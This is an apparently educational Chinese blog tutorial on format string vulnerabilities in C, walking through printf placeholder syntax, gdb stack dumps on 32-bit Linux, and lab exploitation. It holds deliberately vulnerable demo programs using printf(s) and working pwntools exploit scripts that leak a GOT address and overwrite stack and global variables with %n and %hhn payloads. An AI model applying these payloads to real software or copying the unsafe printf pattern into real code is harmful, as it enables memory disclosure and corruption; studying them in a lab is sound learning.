PWN入门之格式化字符串原理

作者: chen1sheng  更新时间:2020-03-07 00:00:00  原文链接


顾名思义,格式化字符串漏洞是出在 格式化字符串 函数上的,在各个语言均存在格式化字符串函数, 是程序设计语言在格式化输出中用于指定输出参数的格式与相对位置的字符串参数。 在C语言中常见的格式化字符串函数分为输入 (scanf) 和输出 (printf; fprintf; vprintf; vfprintf; sprintf; snprintf; vsprintf; vsnprintf; setproctitle; syslog; err; verr; warn; vwarn) ,格式化字符串的使用主要是靠占位符进行格式化,占位符语法格式如下:

%[parameter][flags][field width][.precision][length]type
parameter
    #可忽略或者是n$,获取格式化字符串中的第n个参数,规定只要一个占位符使用,其余所有占位符也必须全部使用。示例:printf("%2$d %2$#x; %1$d %1$#x",16,17) 输出"17 0x11; 16 0x10"
flags
    #可为0个或多个。
    #为'+'。 总是表示有符号数值的'+'或'-'号,缺省情况是忽略正数的符号。仅适用于数值类型。
    #为'空格'。    使得有符号数的输出如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与'+'同时出现,则空格说明符被忽略。
    #为'-'。左对齐。缺省情况是右对齐。
    #为'#'。对于'g'与'G',不删除尾部0以表示精度。对于'f', 'F', 'e', 'E', 'g', 'G', 总是输出小数点。对于'o', 'x', 'X', 在非0数值前分别输出前缀0, 0x, and 0X表示数制。
    #为'0'。    如果width选项前缀以0,则在左侧用0填充直至达到宽度要求。例如printf("%2d", 3)输出" 3",而printf("%02d", 3)输出"03"。如果0与-均出现,则0被忽略,即左对齐依然用空格填充。
field width
    #显示数值的最小宽度,实际输出字符的个数不足宽,则根据左对齐或右对齐进行填充。实际输出字符的个数超过域宽并不引起数值截断,而是显示全部。
precision
    #输出的最大长度,依赖于特定的格式化类型。
length
    #输出的长度。
    #hh。 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
    #h。  对于整数类型,printf期待一个从char提升的short尺寸的整型参数。
type
    #转换说明。d/i;u;f/F;e/E;g/G;x/X;o;a,A 等均表示数字的不同精度表现
    #s;c 字符串
    #p 指针
    #n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    #% 就是百分号,相当于转义的时候斜杠要用 '\\' 表示

示例:

IN:printf("Color is %s, Number is %d, Float is %4.2f.","red", 123456, 3.1445)

#输出 Color is red, Number is 123456, Float is 3.14.

漏洞介绍

CTF-WIKI 的介绍中提到进入 printf 函数的之前(即还没有调用 printf ),栈上的布局由高地址到低地址依次如下

但是后来发现这个机制在x86和x64下是不一样的,上面提到的情况是x86,写一个简单的demo测试一下,代码如下:

#include<stdio.h>
void main() {
    printf("Color is %s, Number is %d, Float is %4.2f.","red", 123456, 3.1445);
}

gcc 使用命令 gcc -m32 main.c -o main32 -lm 编译为 32bit 程序,之后用 gdb 调试,断点下在 main 函数,用 next 指令一步步的运行到 call printf 的前一句,此时的栈的情况如下图:

───────────────────────────────────────────────────────────────────── stack ────
0xffffd18c│+0x0000: 0x565561dc  →  <main+67> add esp, 0x20     ← $esp
0xffffd190│+0x0004: 0x5655700c  →  "Color is %s, Number is %d, Float is %4.2f."
0xffffd194│+0x0008: 0x56557008  →  0x00646572 ("red"?)
0xffffd198│+0x000c: 0x0001e240
0xffffd19c│+0x0010: 0x9db22d0e
0xffffd1a0│+0x0014: 0x400927ef
0xffffd1a4│+0x0018: 0xffffd264  →  0xffffd40a  →  "/root/ctf/pwn/fmtstr/main32"
0xffffd1a8│+0x001c: 0xffffd26c  →  0xffffd426  →  "SHELL=/bin/bash"

高地址到低地址依次就是 3.14,0x1e240 ,'red' (这里3.14的显示还没看懂)

接下来还是以32bit程序进行学习,当进入到 printf 函数之后,函数会对字符串进行解析,可出现以下2种情况:

  • 当解析的不是%时,直接输出
  • 当前解析的字符是%,继续解析下一个:
    • 还是%,则输出%。
    • 是某个占位符,根据占位符的定义获取对应的参数,解析并输出。
    • 尽头,报错。

如果在程序编写时,出现占位符与提供参数不一致的情况,如: printf("Number is %d, Float is %4.2f, Color is %s, ", 123456, 3.1445) 可以看到%s无法找到对应的参数来取地址,这个时候程序就会崩溃,实测输出的结果如下:

漏洞利用

程序崩溃

在上面的例子中因为 %s 没有对应的字符串参数导致程序崩溃,这是因为对于每一个 %sprintf() 都要从栈中获取地址信息,并打印出地址指向的内存内容,但是在实际程序运行中 printf() 从栈上取到的不可能每次都是地址信息(这里指的是占位符之后没有对应的参数的情况),有可能取到的值根本就不是个地址,或者是被保护的地址区域,那肯定就会报错并停止运行了。

而在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息就可以被攻击者所收集利用。

泄露内存

利用格式化字符串漏洞,我们还可以让程序打印出我们想要的结果。一般会有如下几种操作 :

  • 泄露栈内存,可泄露变量的值以及其对应地址的内存
  • 泄露任意地址内存,可泄露 GOT 表中某个函数的地址,进而获取 libc 库版本,再获取其中其余我们想要函数的地址(类似于栈溢出中 ret2libc );还可直接 dump 整个程序信息进行分析。

顺序泄露

示例C代码:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

可以看到有2个 printf 函数,第一个函数因为占位符与提供的参数数量一致且会将输入字符串完全作为字符串处理,主要是第二次 printf 语句的问题。先使用gcc编译 gcc -m32 -fno-stack-protector -no-pie -o leakaddress main.c ,用 gdb 调试,下断点在 printf 处:

gef➤  b*printf
Breakpoint 1 at 0x8049030
gef➤  r
Starting program: /root/ctf/pwn/fmtstr/leakaddress 
%08x.%08x.%08x
────────────────────────────────────────────────────────────────────────── stack ────
0xffffd11c│+0x0000: 0x080491d6  →  <main+100> add esp, 0x20     ← $esp
0xffffd120│+0x0004: 0x0804a00b  →  "%08x.%08x.%08x.%s"
0xffffd124│+0x0008: 0x00000001
0xffffd128│+0x000c: 0x22222222
0xffffd12c│+0x0010: 0xffffffff
0xffffd130│+0x0014: 0xffffd140  →  "%08x.%08x.%08x"
0xffffd134│+0x0018: 0xffffd140  →  "%08x.%08x.%08x"
0xffffd138│+0x001c: 0xf7ffd950  →  0x00000000

第一次运行到断点处是第一个 printf 语句,此时栈里已经填充了传入 printf 的参数,继续运行,正常打印初始化的值以及我们的输入值:

gef➤  c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

再运行到第二次 printf 断点处,此时看栈里的内容

────────────────────────────────────────────────────────────────────────── stack ────
0xffffd12c│+0x0000: 0x080491e5  →  <main+115> add esp, 0x10     ← $esp
0xffffd130│+0x0004: 0xffffd140  →  "%08x.%08x.%08x"
0xffffd134│+0x0008: 0xffffd140  →  "%08x.%08x.%08x"
0xffffd138│+0x000c: 0xf7ffd950  →  0x00000000
0xffffd13c│+0x0010: 0x08049189  →  <main+23> add ebx, 0x2e77
0xffffd140│+0x0014: "%08x.%08x.%08x"
0xffffd144│+0x0018: ".%08x.%08x"
0xffffd148│+0x001c: "x.%08x"

gef➤  
Continuing.
ffffd140.f7ffd950.08049189[Inferior 1 (process 13698) exited normally]

此时由于格式化字符串为 %08x.%08x.%08x ,所以,程序会将栈上的 0xffffd140 及其之后的数值分别作为第一,第二,第三个参数以 8 位十六进制数的形式显示出来 。

泄露第N+1个地址

在上面的例子中,是按照参数的顺序进行依次显示的,那么如何直接获取第N+1个参数的地址值呢? 为什么这里要说是第N+1个参数呢?这是因为格式化参数里面的 N 指的是该格式化字符串对应的第N 个输出参数,那相对于输出函数来说,就是第 N+1 个参数了(通俗的说就是占位符所在的字符串是第一个,之后的第N个参数相对于函数的实际位置是N+1)。 使用%n$x

以上面的程序为例,在第二次运行时输入 %3$x

───────────────────────────────────────────────────────────────────────── stack ────
0xffffd12c│+0x0000: 0x080491e5  →  <main+115> add esp, 0x10     ← $esp
0xffffd130│+0x0004: 0xffffd140  →  "%3$x"
0xffffd134│+0x0008: 0xffffd140  →  "%3$x"
0xffffd138│+0x000c: 0xf7ffd950  →  0x00000000
0xffffd13c│+0x0010: 0x08049189  →  <main+23> add ebx, 0x2e77
0xffffd140│+0x0014: "%3$x"
0xffffd144│+0x0018: 0x00c30000
0xffffd148│+0x001c: 0x00000001

gef➤  c
Continuing.
8049189[Inferior 1 (process 13740) exited normally]

可以看到这里栈的状态和输出, printf 函数的第 4 个参数的内存地址就是 0x08049189 ,按照这个方法可以查看当前栈上任意位置的值了。

泄露栈上变量对应字符串

这里的还是使用%s来获取栈上变量对应字符串的值,用上面的程序继续gdb调试运行,输入 %s

───────────────────────────────────────────────────────────────────────── stack ────
0xffffd12c│+0x0000: 0x080491e5  →  <main+115> add esp, 0x10     ← $esp
0xffffd130│+0x0004: 0xffffd140  →  0x00007325 ("%s"?)
0xffffd134│+0x0008: 0xffffd140  →  0x00007325 ("%s"?)
0xffffd138│+0x000c: 0xf7ffd950  →  0x00000000
0xffffd13c│+0x0010: 0x08049189  →  <main+23> add ebx, 0x2e77
0xffffd140│+0x0014: 0x00007325 ("%s"?)
0xffffd144│+0x0018: 0x00c30000
0xffffd148│+0x001c: 0x00000001
─
gef➤  c
Continuing.
%s[Inferior 1 (process 13860) exited normally]

可以看到这里是把 0xffffd134 地址处的字符串给打印了出来,结合前面的例子可以试试 %n$s 让程序打印出栈上其余位置的字符串,这里测试在输入n为4的时候就会报错:

泄露任意地址内存

在前面的例子里,能泄露的内存地址全在栈上,存在一定的局限性,那么是否可以泄露另外内存地址的值呢?肯定是可以的,跟上面类似使用进行 addr%n$s 利用。

addr 是你想读取的某个内存地址,n是在占位符中%s的所在的参数位置,只要格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节 。在具体实例中需要确定字符串所在位置也可以使用 [str]%p%p%p%p%p%p%p%p%p 的形式进行测试

root@kali:~/ctf/pwn/fmtstr# ./leakaddress
BBBBBB%p%p%p%p%p%p
00000001.22222222.ffffffff.BBBBBB%p%p%p%p%p%p
BBBBBB0xffeb98e00xf7f399500x80491890x424242420x702542420x70257025root@kali:~/ctf/pwn/fmt

0x42424242 即对应于前面的 BBBBB ,从 0x42424242 的位置可以看到格式化字符串的参数位置是 4 ,但是我前面说到 n4 的时候会报错, gdb 一下

───────────────────────────────────────[STACK───────────────────────────────────────
00:0000│ esp  0xffffd12c —▸ 0x80491e5 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffd130 —▸ 0xffffd140 ◂— '%4$s'
... ↓
03:000c│      0xffffd138 —▸ 0xf7ffd950 ◂— 0x0
04:0010│      0xffffd13c —▸ 0x8049189 (main+23) ◂— add    ebx, 0x2e77
05:0014│ eax  0xffffd140 ◂— '%4$s'
06:0018│      0xffffd144 ◂— 0xc30000
07:001c│      0xffffd148 ◂— 0x1

pwndbg> x/x 0xffffd140
0xffffd140:    0x73243425
pwndbg> x/x 0x73243425
0x73243425:    Cannot access memory at address 0x73243425
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/pwn/fmtstr/leakaddress
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/pwn/fmtstr/leakaddress
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/pwn/fmtstr/leakaddress
 0x804b000  0x804c000 r--p     1000 2000   /root/ctf/pwn/fmtstr/leakaddress
 0x804c000  0x804d000 rw-p     1000 3000   /root/ctf/pwn/fmtstr/leakaddress
 0x804d000  0x806f000 rw-p    22000 0      [heap]
0xf7dd0000 0xf7ded000 r--p    1d000 0      /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7ded000 0xf7f38000 r-xp   14b000 1d000  /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7f38000 0xf7fa5000 r--p    6d000 168000 /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fa5000 0xf7fa7000 r--p     2000 1d4000 /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fa7000 0xf7fa9000 rw-p     2000 1d6000 /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fa9000 0xf7fab000 rw-p     2000 0      
0xf7fce000 0xf7fd0000 rw-p     2000 0      
0xf7fd0000 0xf7fd3000 r--p     3000 0      [vvar]
0xf7fd3000 0xf7fd4000 r-xp     1000 0      [vdso]
0xf7fd4000 0xf7fd5000 r--p     1000 0      /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp    1c000 1000   /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p     a000 1d000  /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p     1000 27000  /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p     1000 28000  /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

vmmap 命令可以看到当前程序映射的内存块并不包括 0x73243425 ,那程序肯定也就不能访问这块内存区域了,所以程序就自然崩溃了。 那么我们如何把这个换为可以访问的内存地址呢?比如 libc 中某个函数的偏移。

首先使用 readelf 读取程序结构:

root@kali:~/ctf/pwn/fmtstr# readelf -r ./leakaddress

重定位节 '.rel.dyn' at offset 0x310 contains 1 entry:
 偏移量     信息    类型              符号值      符号名称
0804bffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

重定位节 '.rel.plt' at offset 0x318 contains 3 entries:
 偏移量     信息    类型              符号值      符号名称
0804c00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804c010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804c014  00000407 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

可以看到其中plt有三个函数包括 printf、__libc_start_main、__isoc99_scanf 。按道理说选中任意一个都可以获取到他的偏移地址,但是实际测试会发现并不是这样的,这里使用 python 将地址转化为机器码的形式,如下:

root@kali:~/ctf/pwn/fmtstr# python2 -c 'print("\x0c\xc0\x04\x08"+".%p"*5)' > text

生成的 text 文件如下:

接下来进到 gdb ,将 text 作为输入对程序进行调试:

可以看到第一次输出位本该是 0x0804c00c ,但是却变成了 0x2e0804c0 ,后面2个输出都是正常的,在有的资料说是因为其所对应的 ASCII 是不可见的控制符的原因导致, 所以要记得在使用这个方法前先确定所在地址位置能否正常显示出来。 正式利用时,将后面的 %p 替换为前面确定的位置与占位符 %4$s ,但是这里还有个问题,就是如果你直接使用这个输入运行打印的内容依旧是乱码,所以需要使用 pwntools 进行利用, exp 如下:

from pwn import *
import sys
sh = process('./leakaddress')
leakaddress = ELF('./leakaddress')
libc_start_main = leakaddress.got['__libc_start_main']
print hex(libc_start_main)
payload = p32(libc_start_main) + '%4$s'
print 'payload',payload

gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
recv = sh.recv()
print 'recv',recv
print hex(u32(recv[4:8])) 
sh.interactive()

输出:

CTF-WIKI 不同,我选用了不一样的libc函数 libc_start_main 来泄露其内存地址,虽然拿到了地址但是去 libc search 依旧没有找到版本号,最后还是选用 isoc99_scanf 才得到版本信息(之前栈溢出也是一样,选用 libc_start_main 也没有获取到对应的版本)。

在实际情况中并不是说所有的偏移量都是机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子: [padding][addr] 遇到实际情况再分析吧。

覆盖内存

格式化字符串除了读还可以写。前面的占位符中有一个是这样描述的:

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

因此我们便可以利用这个占位符的功能来实现我们想要覆盖内存的功能,要达到这个目的,我们就需要先搞清楚2个变量的值,分别是 覆盖的地址、相对偏移量 。覆盖地址的计算需要具体情况具体分析,而相对偏移量的计算就是上面我们对n的计算。因此常规利用 payload 如下:

...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容, overwrite addr 表示我们所要覆盖的地址, overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说步骤如下:

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

示例程序:

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

因为现在ASLR保护机制的存在,程序运行时栈的位置不确定,因此这里首先会打印出c的指针地址给我们利用,相当于覆盖地址已经有了。相对偏移的计算依旧是在程序运行时输入 AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 进行确定

可以看到0x41的输入是在第6位出现,因此其相对于格式化字符串的偏移(n)是6。接下来就是怎么覆盖了,让c的值等于16即可证明覆盖成功,结合 %n 的用法,我们需要在之前写入16个字符,这样就会把16写到c的指针地址,那我们的目的就达到了。最终的输入payload应该是: c_address+%012d%6$n (c_address的长度为4,%012d会填充长度到12个字符,加起来就是16个字符了…)

from pwn import *
import sys

def forc():
    sh = process('./writeToMem')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    print len(p32(c_addr) )   #证明c_address确实是4个字符长度
    payload = p32(c_addr) + '%012d' + '%6$n'
    print payload
    #gdb.attach(sh)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

forc()

成功覆盖了栈上c的地址,运行结果如下:

覆盖任意内存地址

覆盖小数字

接下来试着修改内存中a的值为2,a因为是在main函数之外声明的全局变量,所以不会进到栈中被地址随机化,所以直接使用ida查看a所在的内存地址即可:

但是要想把a覆盖为2的话前面的思路就行不通了,因为32位机地址大小是4位,光是地址占位就超过2位了,按照这个方法无法将a覆盖为比4小的值,那么该怎么办呢?

再仔细想一下,我们为什么把要覆盖的变量的地址放在字符串的最前面。这是因为在寻找偏移时我们的 AAAA 就是放在输入的第一位,以此来确定格式化字符串所在的参数位置从而确定n的值。那么如果我们已经确定了n之后,实际使用时把地址放在第二位,然后n再加1是否可以呢?测试一下,把上一题的payload修改一下: payload = 'AAAA'+p32(c_addr) + '%08d' + '%7$n' 在地址前面加了4个A,%12变为%08,%6改为%7,测试依旧成功。

payload 的构造思路如下:前面放2个占位符,后面跟上 %m$n (m的值还没确定),这里已经确定了a的内存地址,我们把它放在最后,初步形成的payload如下: aa%m$n0x0804c024 。但是这样就会出现一个问题,即地址会被分割在不同的字节内,而且m的值也不好计算,所以在n之后再加上一个aa: aa%m|$naa:aa|0x0804c024 (| 为分隔符号,便于理解)现在地址往后放了2个参数位置,那么m的值也由一开始的6变成了8,最终exp如下:

from pwn import *
import sys

def fora():
    sh = process('./writeToMem')
    a_addr = 0x0804C024
    #print hex(c_addr)
    print p32(a_addr) 
    payload = 'aa%8$naa'+p32(a_addr)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

fora()

运行结果:

覆盖大数字

接下来修改b,场景变成覆盖大数字。直接按照前面的思路填充 0x12345678 个字符吗?太长了,实现的成果几率很小。首先我们要清楚在内存中数字的存储是小端字节序的, 即最低有效位存储在低地址。举个例子, 0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12 。 因此我们可以将 0x12345678 拆分写入,示例如下:

0x0804C028 \x78
0x0804C029 \x56
0x0804C02a \x34
0x0804C02b \x12

但是前面说的 %n 是四字节写入的,不够轻便,所以需要使用上面提到可以单字节写入的 %hhn

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。单字节写入,即假如已经输出的字符达到了0x123,他也只会写入0x23,忽略前面字节的1。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。双字节写入跟上面原理类似。

整个 payload 构成的结构如下:

p32(0x0804C028)+p32(0x0804C029)+p32(0x0804C02a)+p32(0x0804C02b)+pad1+'%6$ n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

构造 payload 的关键就在于后面的输入要考虑前面的输出,这里主要考虑 pad 的计算,因为刚开始需要写入的值是 0x78 ,本身的值较大,可是到了后面需要写入 0x56 时,前面的填充值已经大于 0x56 了,因为 pad2 的计算需要利用 %hhn 产生截断把 0x156 变为 0x56 ,代码如下:

from pwn import *
def computePad(index,counts,addr,target):
    payload = ""
    zhnwei = ""
    for i in range(counts):
        if i <4:
            new_addr = p32(addr + i)
            payload += new_addr
    prev = len(payload)
    target = str(hex(target))[2:]
    m=256
    for i in range(3,-1,-1):
        if i != 3:
            m+=256
            inject = int((target[2*i:2*i+2]),16) + m
        else:
            inject = int((target[2*i:2*i+2]),16)
        pad = inject- prev
        padding = '%'+str(pad)+'d'
        payload += padding
        position = '%'+str(index)+'$hhn'
        payload += position
        index +=1
        prev = prev+pad
    return payload

def forb():
    sh = process('./writeToMem')
    payload = computePad(6, 4, 0x0804C028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

forb()

正常运行的话是可以出结果的,但是发现这里其实直接使用 %n 也是可以的,如下图:

分析之后发现是因为 %m$n 每次写入的是四个字节,相当于第一次写就会将我们上面分析的4个字节全部写入,所以在写最后一个字节的时候,可能会修改其之后的额外的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。

gdb 调试看看区别:

采用 %hhn 时内存区域的值是这个亚子:

采用 %n 时内存区域的后面的值有改变,或许这就是差别?

总结

格式化字符串基本思路已经跟着走了一遍,加深了一下理解,接下来就是从实际的题目中看CTF里这个到底该怎么玩了…..